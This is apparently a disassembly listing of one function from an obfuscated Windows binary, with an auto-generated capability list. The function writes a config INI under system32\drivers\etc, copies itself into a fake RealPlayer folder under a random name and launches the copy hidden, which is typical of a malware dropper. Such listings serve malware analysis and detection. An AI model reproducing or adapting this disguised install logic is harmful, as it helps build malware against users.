Function at 0x402290
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create a process with modified i/o handles and window
Create directory
Create process on windows
Delete file
Initialize winsock library
Move file
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44af8b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x14c0
call fcn.00430c20
mov eax, dword [0x45f540]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 8]
mov dword [ebp - 0xfc4], eax
xor eax, eax
mov esi, dword [0x45dbd4]
xor ebx, ebx
mov byte [ebp - 0x814], bl
mov ecx, 0x7f
lea edi, [ebp - 0x813]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov byte [ebp - 0xa14], bl
mov ecx, 0x7f
lea edi, [ebp - 0xa13]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, 0x4a4dc96f
imul esi
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edi, ecx
mov ecx, dword [0x45dbcc]
mov eax, 0x4a4dc96f
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x365
sub eax, edi
add eax, edx
mov edx, dword [0x45dbe8]
imul edx, edx, 0x338
add eax, edx
mov edi, eax
mov eax, 0xa33a575b
imul esi
add edx, esi
sar edx, 9
mov esi, edx
add edi, edx
mov eax, 0xc152500d
imul ecx
add edx, ecx
mov ecx, dword [0x45dbdc]
sar edx, 9
imul ecx, ecx, 0x221
mov eax, edx
shr esi, 0x1f
shr eax, 0x1f
add esi, edi
add eax, edx
sub esi, eax
add esi, ecx
push ebx
mov dword [str._r_____r____], esi
mov dword [ebp - 4], ebx
call fcn.00430be7
mov esi, dword [0x45dbe0]
mov edx, dword [0x45dbe8]
imul esi, esi, 0x365
imul edx, edx, 0x338
mov edi, eax
add esp, 4
mov dword [ebp - 0xfb0], edi
sub esi, edx
mov ecx, dword [0x45dbd4]
mov eax, 0xa33a575b
imul ecx
add edx, ecx
sar edx, 9
add esi, edx
mov eax, edx
shr eax, 0x1f
add eax, esi
mov dword [ebp - 0xfac], eax
mov eax, 0xf07fc3e1
imul ecx
mov eax, dword [ebp - 0xfac]
add edx, ecx
mov ecx, dword [0x45dbcc]
sar edx, 9
add eax, edx
mov esi, edx
shr esi, 0x1f
add esi, eax
mov eax, 0x5e6ea9af
imul ecx
mov ecx, dword [0x45dbe4]
imul ecx, ecx, 0x92
sar edx, 7
mov eax, edx
shr eax, 0x1f
add esi, edx
mov edx, dword [str._r_____r____]
add eax, esi
add eax, ecx
sub eax, edx
add eax, 0x2f4
mov dword [0x45dbcc], eax
call fcn.00448513
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x44]
push edx
lea ecx, [ebp - 0xfcc]
call fcn.004021e0
mov ecx, dword [ebp - 0xfcc]
mov byte [ebp - 4], 1
lea edx, [ebp - 0x314]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
cmp al, bl
jne 0x402452
lea eax, [ebp - 0x314]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x402465
sub eax, edx
mov dword [ebp - 0xfa8], eax
jne 0x403638
mov esi, dword [0x45dbdc]
mov ecx, dword [str._r_____r____]
mov eax, dword [0x45dbd8]
lea ebx, [eax + ecx]
imul ecx, ecx, 0x323
imul ebx, ebx, 0x221
mov edx, esi
imul edx, edx, 0x365
add ebx, edx
mov eax, 0xa33a575b
imul esi
add edx, esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
add eax, ecx
mov ebx, eax
mov ecx, dword [0x45dbe0]
mov eax, 0x5e6ea9af
imul esi
sar edx, 7
mov eax, edx
shr eax, 0x1f
push str.C:WINDoWS_system32driversetc_s2er333vice9.ini
add eax, edx
push 0x100
sub ebx, eax
lea eax, [ebp - 0x114]
push eax
push 0x44de89
push str.RAND
lea edx, [ebx + ecx - 0x92]
push str.AAAAA
mov dword [0x45dbd4], edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov esi, dword [0x45dbd4]
mov eax, 0x4a4dc96f
imul esi
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov ebx, ecx
mov ecx, dword [0x45dbcc]
mov eax, 0x4a4dc96f
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x365
sub eax, ebx
add eax, edx
mov edx, dword [0x45dbe8]
imul edx, edx, 0x338
add eax, edx
mov ebx, eax
mov eax, 0xa33a575b
imul esi
add edx, esi
sar edx, 9
add ebx, edx
mov esi, edx
mov eax, 0xc152500d
imul ecx
add edx, ecx
mov ecx, dword [0x45dbdc]
sar edx, 9
imul ecx, ecx, 0x221
shr esi, 0x1f
mov eax, edx
shr eax, 0x1f
add esi, ebx
add eax, edx
sub esi, eax
add esi, ecx
lea edx, [ebp - 0x114]
push edx
mov dword [str._r_____r____], esi
call fcn.00430be2
add esp, 4
test eax, eax
jle 0x4025bd
lea eax, [ebp - 0x114]
push eax
call fcn.00430be2
add esp, 4
mov dword [ebp - 0xfb0], eax
jmp 0x4025ee
push edi
lea ecx, [ebp - 0x114]
push 0x44db00
push ecx
call fcn.004305b1
add esp, 0xc
push str.C:WINDOWS_system32driversetc_s2er333vice9.ini
lea edx, [ebp - 0x114]
push edx
push str.RAND
push str.AAAAA
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov eax, dword [0x45dbe8]
mov esi, dword [0x45dbe0]
imul eax, eax, 0x338
mov edi, dword [0x45dbd4]
imul esi, esi, 0x365
sub esi, eax
mov dword [ebp - 0xfc0], eax
mov eax, 0xa33a575b
imul edi
add edx, edi
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0xf07fc3e1
imul edi
add edx, edi
sar edx, 9
mov ebx, edx
add ecx, edx
shr ebx, 0x1f
add ebx, ecx
mov ecx, dword [0x45dbcc]
mov eax, 0x5e6ea9af
imul ecx
mov ecx, dword [0x45dbe4]
sar edx, 7
add ebx, edx
mov eax, edx
mov edx, ecx
imul edx, edx, 0x92
shr eax, 0x1f
add eax, ebx
mov ebx, dword [str._r_____r____]
add eax, edx
sub eax, ebx
lea eax, [eax + esi + 0x2f4]
mov dword [0x45dbcc], eax
mov eax, dword [ebp - 0xfb0]
mov dword [ebp - 0xfa8], esi
cdq
mov esi, 0x190
idiv esi
mov dword [ebp - 0xfbc], edx
and edx, 0x80000001
jns 0x40269f
dec edx
or edx, 0xfffffffe
inc edx
cmp edx, 1
mov eax, 0x4a4dc96f
jne 0x402830
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0xfb0], eax
mov edx, dword [0x45dbd0]
mov eax, dword [0x45dbcc]
lea esi, [edx + eax]
mov eax, 0xa33a575b
imul esi, esi, 0x2a6
imul ecx
add edx, ecx
mov ecx, dword [0x45dbcc]
sar edx, 9
add esi, edx
mov eax, edx
shr eax, 0x1f
add eax, esi
mov dword [ebp - 0xfac], eax
mov eax, 0xf07fc3e1
imul ecx
add edx, ecx
sar edx, 9
mov esi, dword [ebp - 0xfb0]
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45dbe0]
mov eax, dword [ebp - 0xfac]
imul edx, edx, 0x175
sub eax, ecx
add edx, esi
mov esi, dword [0x45dbdc]
add edx, eax
imul esi, esi, 0x92
mov eax, dword [ebp - 0xfbc]
mov ecx, dword [0x45dbc8]
add esi, edx
dec eax
mov dword [ebp - 0xfac], eax
mov eax, ebx
imul eax, eax, 0x323
mov dword [ebp - 0xfb4], eax
lea eax, [ecx + edi]
mov edi, dword [0x45dbd8]
imul eax, eax, 0x15b
mov ecx, eax
mov eax, 0xa33a575b
imul edi
add edx, edi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0xc152500d
imul edi
add edx, edi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0xad602b59
imul ebx
mov eax, ecx
add edx, ebx
sar edx, 9
mov ecx, edx
add eax, edx
mov edx, dword [ebp - 0xfb0]
shr ecx, 0x1f
add ecx, eax
mov eax, dword [ebp - 0xfb4]
sub ecx, edx
add ecx, eax
mov dword [0x45dbdc], esi
mov dword [0x45dbe4], ecx
mov edx, dword [ebp - 0xfbc]
add edi, ebx
imul edi, edi, 0x221
mov eax, esi
imul eax, eax, 0x365
add edi, eax
inc edx
mov dword [ebp - 0xfb8], edx
mov eax, 0xa33a575b
imul esi
add edx, esi
sar edx, 9
add edi, edx
mov ebx, edx
mov eax, 0x5e6ea9af
imul esi
sar edx, 7
shr ebx, 0x1f
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbe0]
add ebx, edi
sub ebx, eax
add ebx, dword [ebp - 0xfb4]
mov eax, dword [ebp - 0xfbc]
lea edi, [ebx + edx - 0x92]
mov dword [0x45dbd4], edi
add eax, 3
jmp 0x402939
mov edx, dword [0x45dbc8]
lea esi, [edx + edi]
imul ecx
mov ecx, dword [0x45dbd8]
imul esi, esi, 0x15b
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0xa33a575b
imul ecx
add edx, ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov edx, ebx
imul edx, edx, 0x323
add esi, edx
mov eax, 0xc152500d
imul ecx
add edx, ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0xad602b59
imul ebx
mov eax, dword [0x45dbe0]
add edx, ebx
sar edx, 9
add esi, edx
mov ecx, edx
mov edx, dword [ebp - 0xfbc]
mov dword [ebp - 0xfac], edx
mov edx, dword [0x45dbc8]
lea ebx, [edx + eax]
shr ecx, 0x1f
imul ebx, ebx, 0x92
add ecx, esi
mov esi, dword [0x45dbd0]
mov eax, 0x96d4b1f
imul esi
sar edx, 5
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0xf07fc3e1
imul ecx
add edx, ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x57d990d1
imul esi
sar edx, 7
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0xe070381d
imul esi
add edx, esi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov dword [0x45dbc8], eax
mov eax, dword [ebp - 0xfbc]
mov dword [0x45dbe4], ecx
mov esi, dword [0x45dbdc]
lea edx, [eax + 2]
mov dword [ebp - 0xfb8], edx
add eax, 4
mov dword [ebp - 0xfb4], eax
mov eax, 0xa33a575b
imul edi
add edx, edi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0xfb0], eax
mov eax, 0x4a4dc96f
imul edi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x4a4dc96f
imul dword [0x45dbcc]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbcc]
sub eax, ebx
mov ebx, edx
imul ebx, ebx, 0x365
add eax, ebx
mov ebx, dword [0x45dbcc]
mov dword [ebp - 0xfc8], eax
mov eax, 0xc152500d
imul edx
add edx, ebx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xfc8]
mov ebx, esi
imul ebx, ebx, 0x221
sub edx, eax
add edx, dword [ebp - 0xfb0]
mov eax, dword [ebp - 0xfc0]
add ebx, edx
mov edx, dword [ebp - 0xfb8]
add ebx, eax
mov eax, 0x190
cmp edx, eax
mov dword [str._r_____r____], ebx
jl 0x402a43
mov eax, 0xf07fc3e1
imul edi
add edx, edi
sar edx, 9
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x5e6ea9af
imul dword [0x45dbcc]
sar edx, 7
mov eax, edx
add edi, edx
mov edx, ecx
imul edx, edx, 0x92
shr eax, 0x1f
add eax, edi
add eax, edx
mov edx, dword [ebp - 0xfa8]
sub eax, ebx
add eax, edx
mov edx, dword [ebp - 0xfb0]
lea eax, [eax + edx + 0x2f4]
mov edx, dword [ebp - 0xfbc]
dec edx
mov dword [0x45dbcc], eax
mov dword [ebp - 0xfb8], edx
mov ebx, dword [0x45dbe8]
mov edi, dword [0x45dbc8]
mov eax, 0x96d4b1f
imul edi, edi, 0x323
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x13e22cbd
imul ebx
imul ebx, ebx, 0x92
sar edx, 6
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov edi, eax
mov eax, 0x5e6ea9af
imul dword [0x45dbe0]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
mov edi, dword [0x45dbe0]
mov edx, edi
imul edx, edx, 0x15b
add eax, edx
mov edx, dword [ebp - 0xfb4]
sub eax, ebx
sub eax, dword [ebp - 0xfb0]
mov dword [0x45dbd8], eax
mov eax, 0x190
cmp edx, eax
jl 0x402b3f
mov eax, dword [0x45dbd0]
imul edi, edi, 0x175
imul esi, esi, 0x92
mov edx, dword [0x45dbcc]
lea ebx, [eax + edx]
imul ebx, ebx, 0x2a6
mov eax, 0x4a4dc96f
imul ecx
sar edx, 8
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov dword [ebp - 0xfa8], eax
mov eax, 0xa33a575b
imul ecx
mov eax, dword [ebp - 0xfa8]
add edx, ecx
mov ecx, dword [0x45dbcc]
sar edx, 9
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, 0xf07fc3e1
imul ecx
add edx, ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
add ebx, edi
add ebx, esi
mov dword [0x45dbdc], ebx
push 0
push str.c:program_filesRealplayer
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edx, dword [0x45dbc8]
mov ecx, dword [0x45dbe0]
lea esi, [edx + ecx]
mov ecx, dword [0x45dbd0]
imul esi, esi, 0x92
mov eax, 0x96d4b1f
imul ecx
sar edx, 5
add esi, edx
mov edi, edx
shr edi, 0x1f
add edi, esi
mov esi, dword [0x45dbe4]
mov eax, 0xf07fc3e1
imul esi
add edx, esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x57d990d1
imul ecx
sar edx, 7
add edi, edx
mov esi, edx
mov eax, 0xe070381d
imul ecx
mov eax, dword [ebp - 0xfac]
imul eax, eax, 0x25
add edx, ecx
shr esi, 0x1f
sar edx, 7
add esi, edi
lea edi, [eax + str.Installing]
mov ecx, edx
add esi, edx
push edi
shr ecx, 0x1f
lea edx, [ebp - 0x214]
add ecx, esi
push str.c:program_filesRealplayer_s
push edx
mov dword [0x45dbc8], ecx
mov dword [ebp - 0xfc8], edi
call fcn.004305b1
mov eax, dword [0x45dbd4]
mov ecx, dword [0x45dbc8]
lea ebx, [ecx + eax]
mov ecx, dword [0x45dbe4]
imul ebx, ebx, 0x15b
mov eax, 0x4a4dc96f
imul ecx
mov ecx, dword [0x45dbd8]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, dword [str._r_____r____]
sub ebx, eax
mov eax, 0xa33a575b
imul ecx
add edx, ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0x323
sub ebx, eax
add ebx, edx
mov eax, 0xc152500d
imul ecx
add edx, ecx
sar edx, 9
mov eax, edx
add esp, 0xc
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xad602b59
imul esi
add edx, esi
sar edx, 9
mov ecx, edx
add ebx, edx
shr ecx, 0x1f
push 0
lea edx, [ebp - 0x214]
add ecx, ebx
push edx
mov dword [0x45dbe4], ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, dword [0x45dbc8]
mov eax, dword [0x45dbe0]
lea esi, [ecx + eax]
mov ecx, dword [0x45dbd0]
imul esi, esi, 0x92
mov eax, 0x96d4b1f
imul ecx
sar edx, 5
add esi, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, esi
mov esi, dword [0x45dbe4]
mov eax, 0xf07fc3e1
imul esi
add edx, esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x57d990d1
imul ecx
sar edx, 7
mov esi, edx
add ebx, edx
mov eax, 0xe070381d
imul ecx
add edx, ecx
sar edx, 7
shr esi, 0x1f
mov ecx, edx
add esi, ebx
add esi, edx
mov edx, dword [ebp - 0xfb8]
imul edx, edx, 0x25
add edx, str.Installing
push edx
push edi
shr ecx, 0x1f
lea eax, [ebp - 0x214]
add ecx, esi
push str.c:program_filesRealplayer_s_s.exe
push eax
mov dword [0x45dbc8], ecx
call fcn.004305b1
mov ecx, dword [0x45dbd4]
mov esi, dword [0x45dbe8]
mov edi, dword [0x45dbc8]
mov eax, 0xa33a575b
imul edi, edi, 0x323
imul ecx
add edx, ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x96d4b1f
imul esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
add esp, 0x10
sub edi, eax
mov eax, 0x13e22cbd
imul esi
sar edx, 6
add edi, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, edi
mov edi, dword [0x45dbe0]
mov eax, 0x5e6ea9af
imul edi
imul edi, edi, 0x15b
sar edx, 7
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
add eax, edi
mov edx, esi
imul esi, esi, 0x338
imul edx, edx, 0x92
sub eax, edx
sub eax, ecx
mov dword [0x45dbd8], eax
mov edi, dword [0x45dbcc]
mov eax, 0x4a4dc96f
imul dword [0x45dbd4]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x4a4dc96f
imul edi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
mov edx, edi
imul edx, edx, 0x365
add eax, edx
add eax, esi
mov ebx, eax
mov eax, 0xc152500d
imul edi
add edx, edi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbdc]
imul edx, edx, 0x221
sub ebx, eax
push 0x100
lea eax, [ebp - 0x114]
add ebx, ecx
push eax
add edx, ebx
push 0
mov dword [ebp - 0xfac], 0
mov dword [str._r_____r____], edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x100
lea ecx, [ebp - 0x114]
push 0x8000
push ecx
call fcn.0043d521
mov ecx, dword [0x45dbe0]
mov edx, dword [0x45dbe8]
imul ecx, ecx, 0x365
mov esi, dword [0x45dbd4]
imul edx, edx, 0x338
mov edi, eax
sub ecx, edx
mov eax, 0xa33a575b
imul esi
add edx, esi
sar edx, 9
mov ebx, edx
add esp, 0xc
shr ebx, 0x1f
add ecx, edx
mov eax, 0xf07fc3e1
imul esi
add ebx, ecx
mov ecx, dword [0x45dbcc]
add edx, esi
sar edx, 9
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0x5e6ea9af
imul ecx
mov eax, dword [0x45dbe4]
imul eax, eax, 0x92
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
add ecx, ebx
mov ebx, dword [str._r_____r____]
add ecx, eax
sub ecx, ebx
add ecx, 0x2f4
cmp edi, 0xffffffff
mov dword [0x45dbcc], ecx
je 0x4031be
mov ecx, dword [0x45dbd8]
lea esi, [ecx + ebx]
imul ebx, ebx, 0x323
mov ecx, dword [0x45dbdc]
imul esi, esi, 0x221
mov edx, ecx
imul edx, edx, 0x365
add esi, edx
mov eax, 0xa33a575b
imul ecx
add edx, ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
add eax, ebx
mov esi, eax
mov eax, 0x5e6ea9af
imul ecx
mov ecx, dword [0x45dbe0]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
push 0x100000
sub esi, eax
lea edx, [esi + ecx - 0x92]
push 0x4604c0
push edi
mov dword [0x45dbd4], edx
call fcn.0043c12e
mov esi, eax
push edi
mov dword [ebp - 0xfa8], esi
call fcn.0043c2c4
add esp, 0x10
cmp esi, 0x2800
jle 0x4031b2
mov ecx, dword [0x45dbcc]
mov eax, dword [0x45dbd0]
mov esi, dword [0x45dbe4]
lea edi, [eax + ecx]
mov eax, 0x4a4dc96f
imul edi, edi, 0x2a6
imul esi
sar edx, 8
mov ebx, edx
add edi, edx
mov eax, 0xa33a575b
imul esi
add edx, esi
sar edx, 9
mov esi, edx
shr ebx, 0x1f
add ebx, edi
add ebx, edx
mov eax, 0xf07fc3e1
imul ecx
mov eax, dword [0x45dbdc]
add edx, ecx
imul eax, eax, 0x92
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45dbe0]
imul edx, edx, 0x175
shr esi, 0x1f
add esi, ebx
sub esi, ecx
add esi, edx
add esi, eax
push 0
mov dword [0x45dbdc], esi
call fcn.00430be7
push eax
push 0x44db00
push 0x4607c0
call fcn.004305b1
push 0x180
lea ecx, [ebp - 0x214]
push 0x8302
push ecx
call fcn.0043d521
mov esi, eax
add esp, 0x1c
cmp esi, 0xffffffff
jne 0x403061
lea eax, [ebp - 0x214]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403022
sub eax, edx
lea edx, [ebp + eax - 0x218]
push str.s.exe
push edx
call fcn.004305b1
push 0x180
lea eax, [ebp - 0x214]
push 0x8302
push eax
call fcn.0043d521
mov esi, eax
add esp, 0x14
cmp esi, 0xffffffff
je 0x4031b2
mov ecx, dword [0x45dbd4]
mov edx, dword [0x45dbc8]
lea ebx, [edx + ecx]
mov ecx, dword [0x45dbe4]
imul ebx, ebx, 0x15b
mov eax, 0x4a4dc96f
imul ecx
mov ecx, dword [0x45dbd8]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov edi, dword [str._r_____r____]
mov eax, 0xa33a575b
imul ecx
add edx, ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, edi
imul edx, edx, 0x323
sub ebx, eax
add ebx, edx
mov eax, 0xc152500d
imul ecx
add edx, ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xad602b59
imul edi
add edx, edi
sar edx, 9
mov ecx, edx
add ebx, edx
mov edx, dword [ebp - 0xfa8]
push edx
shr ecx, 0x1f
add ecx, ebx
push 0x4604c0
push esi
mov dword [0x45dbe4], ecx
call fcn.00439b06
push 2
push 0
push esi
call fcn.0043989f
xor eax, eax
mov ecx, 0x80
lea edi, [ebp - 0xe14]
rep stosd dword es:[edi], eax
mov eax, dword [0x45dbe0]
mov ecx, dword [0x45dbc8]
lea edi, [ecx + eax]
mov ecx, dword [0x45dbd0]
imul edi, edi, 0x92
mov eax, 0x96d4b1f
imul ecx
sar edx, 5
add edi, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, edi
mov edi, dword [0x45dbe4]
mov eax, 0xf07fc3e1
imul edi
add edx, edi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x57d990d1
imul ecx
sar edx, 7
mov edi, edx
shr edi, 0x1f
add ebx, edx
mov eax, 0xe070381d
imul ecx
add edx, ecx
sar edx, 7
add edi, ebx
mov ecx, edx
add edi, edx
mov edx, dword [ebp - 0xfb8]
push edx
lea eax, [ebp - 0xe14]
shr ecx, 0x1f
push eax
add ecx, edi
push esi
mov dword [0x45dbc8], ecx
call fcn.00439b06
push esi
call fcn.0043c2c4
add esp, 0x28
mov dword [ebp - 0xfac], 1
mov ecx, dword [0x45dbcc]
mov esi, dword [0x45dbd4]
mov eax, dword [0x45dbe8]
mov edi, dword [0x45dbd0]
imul eax, eax, 0x338
mov ebx, dword [0x45dbd8]
mov dword [ebp - 0xfc0], eax
imul ebx, ebx, 0x372
mov eax, 0xad602b59
imul edi
add edx, edi
mov edi, dword [0x45dbdc]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x4a4dc96f
imul edi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbc8]
imul edx, edx, 0x221
sub ebx, eax
add ebx, edx
mov eax, 0xe070381d
imul dword [0x45dbd8]
add edx, dword [0x45dbd8]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add ebx, edx
mov edx, dword [0x45dbe4]
add eax, ebx
sub eax, edx
mov edx, dword [ebp - 0xfc0]
lea eax, [eax + edx - 0x92]
mov dword [0x45dbd0], eax
cmp dword [ebp - 0xfac], 1
jne 0x403629
mov eax, 0x4a4dc96f
imul edi, edi, 0x221
imul esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x4a4dc96f
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x365
sub eax, ebx
add eax, edx
mov ebx, eax
mov eax, 0xa33a575b
imul esi
add edx, esi
sar edx, 9
mov esi, edx
add ebx, edx
mov eax, 0xc152500d
imul ecx
add edx, ecx
mov ecx, dword [ebp - 0xfc0]
sar edx, 9
mov eax, edx
shr esi, 0x1f
shr eax, 0x1f
add eax, edx
add esi, ebx
sub esi, eax
add esi, ecx
lea ecx, [ebp - 0x214]
push ecx
lea edx, [ebp - 0x114]
push str._s__33201_
add edi, esi
push edx
mov dword [str._r_____r____], edi
call fcn.004305b1
xor eax, eax
mov ecx, 0x11
lea edi, [ebp - 0x1010]
rep stosd dword es:[edi], eax
mov edi, dword [0x45dbe0]
mov eax, dword [0x45dbe8]
mov ecx, dword [0x45dbd4]
imul eax, eax, 0x338
mov esi, edi
imul esi, esi, 0x365
sub esi, eax
mov eax, 0xa33a575b
imul ecx
add edx, ecx
sar edx, 9
add esi, edx
mov ebx, edx
mov eax, 0xf07fc3e1
imul ecx
add edx, ecx
mov ecx, dword [0x45dbcc]
shr ebx, 0x1f
add ebx, esi
sar edx, 9
add ebx, edx
mov esi, edx
mov eax, 0x5e6ea9af
imul ecx
sar edx, 7
shr esi, 0x1f
mov eax, edx
add esp, 0xc
add esi, ebx
mov dword [ebp - 0x1010], 0x44
shr eax, 0x1f
mov ecx, dword [0x45dbe4]
imul ecx, ecx, 0x92
add esi, edx
mov edx, dword [0x45dbd8]
add eax, esi
mov esi, dword [0x45dbdc]
add eax, ecx
mov ecx, dword [str._r_____r____]
sub eax, ecx
add eax, 0x2f4
lea ebx, [edx + ecx]
imul ecx, ecx, 0x323
mov dword [0x45dbcc], eax
imul ebx, ebx, 0x221
mov eax, esi
imul eax, eax, 0x365
add ebx, eax
mov eax, 0xa33a575b
imul esi
add edx, esi
sar edx, 9
mov eax, edx
add ebx, edx
shr eax, 0x1f
add eax, ebx
add eax, ecx
mov ebx, eax
mov eax, 0x5e6ea9af
imul esi
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
lea eax, [ebp - 0x1020]
push eax
lea ecx, [ebp - 0x1010]
push ecx
push 0
push 0
push 0x20
push 0
push 0
lea edx, [ebx + edi - 0x92]
mov dword [0x45dbd4], edx
push 0
lea edx, [ebp - 0x114]
push edx
push 0
mov dword [ebp - 0xfe4], 1
mov word [ebp - 0xfe0], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4034ac
mov ecx, dword [0x45dbcc]
mov eax, dword [0x45dbd0]
mov esi, dword [0x45dbe4]
lea edi, [eax + ecx]
mov eax, 0x4a4dc96f
imul edi, edi, 0x2a6
imul esi
sar edx, 8
mov ebx, edx
add edi, edx
mov eax, 0xa33a575b
imul esi
add edx, esi
sar edx, 9
shr ebx, 0x1f
mov esi, edx
add ebx, edi
add ebx, edx
mov eax, 0xf07fc3e1
imul ecx
mov eax, dword [0x45dbdc]
add edx, ecx
imul eax, eax, 0x92
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45dbe0]
imul edx, edx, 0x175
shr esi, 0x1f
add esi, ebx
sub esi, ecx
add esi, edx
add esi, eax
push 0
mov dword [0x45dbdc], esi
call fcn.00430b1a
mov ecx, dword [0x45dbd4]
mov edx, dword [0x45dbc8]
lea edi, [edx + ecx]
mov ecx, dword [0x45dbe4]
imul edi, edi, 0x15b
mov eax, 0x4a4dc96f
imul ecx
mov ecx, dword [0x45dbd8]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov esi, dword [str._r_____r____]
mov eax, 0xa33a575b
imul ecx
add edx, ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov edx, esi
imul edx, edx, 0x323
add edi, edx
mov eax, 0xc152500d
imul ecx
add edx, ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0xad602b59
imul esi
add edx, esi
sar edx, 9
mov ecx, edx
add edi, edx
mov edx, dword [ebp - 0xfc8]
push edx
shr ecx, 0x1f
